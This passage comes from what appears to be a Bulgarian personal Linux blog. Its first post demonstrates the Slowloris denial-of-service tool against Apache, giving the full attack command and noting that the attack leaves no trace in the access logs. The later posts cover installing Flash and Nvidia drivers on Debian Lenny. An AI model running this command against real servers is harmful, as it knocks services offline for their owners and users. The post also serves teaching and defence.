to find if anyone is looking at their logs at that point -- although the DoS will be over by that point too.

What is a slow loris?
What exactly is a slow loris?  It’s an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4

След като сме запознати с помощната страница ще направим един прост пример за чупене на Apache със Slowloris:

perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

След известно време забелязваме, че Apache не отговаря- Той е счупен :)

Жертвата не вижда превишаване на ползваемостта на CPU от apache, не вижда и нищо в access лога, но ако пусне един tcpdump ще разбере за какво иде реч(tcpdump -i eth0 -vvvn dst port 80)

В следващата публикация  ще обясня как да се защитим от Slowloris- Как да защитим Apache от счупване причинено от Slowloris

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Инсталиране на Adobe Flash Player под Debian Lenny

На мен лично не ми допада свободния Flash player и за целта си инсталирам Adobe Flash Player (макар и не свободен). За целта добавям backports храналище и изпълнявам следните команди:

echo 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.list
wget -O -- http://backports.org/debian/archive.key | apt-key add --
gpg --keyserver hkp://subkeys.pgp.net --recv-keys 16BA136C
gpg --export | apt-key add --
apt-get update && apt-get install flashplugin-nonfree

Сега стартираме "IceWeasel" и отваряме някои flash анимация. Виждаме, че всичко работи добре :)

echo 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.listecho 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.list
VN:F [1.9.22_1171]
Rating: 3.5/5 (2 votes cast)
VN:F [1.9.22_1171]
Rating: -2 (from 2 votes)

Инсталиране на Nvidia драйвери под Debian Lenny

В тази публикация мисля да опиша как се инсталират Nvidia драйверите под Debian Lenny.

1. apt-get install build-essential linux-headers-$(uname -r)
2. cd /usr/src
3. ln -s linux-headers-$(uname -r) linux
4. wget  http://us.download.nvidia.com/XFree86/Linux-x86/190.53/NVIDIA-Linux-x86-190.53-pkg1.run
5. /etc/init.d/gdm stop
6. cd /usr/src && sh NVIDIA-Linux-x86-190.53-pkg1.run

След това приеме лиценза на Nvidia и драйверите ще ви се инсталират. Сега ще стартираме нашата графична среда с nvidia драйверите: /etc/init.d/gdm start .Още в началото дори виждаме логото на Nvidia. Ако са необходими повече допълнителни настройки избираме Applications-> System Tools -> NVIDIA X Server Settings

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Личен Блог на Мартин Петров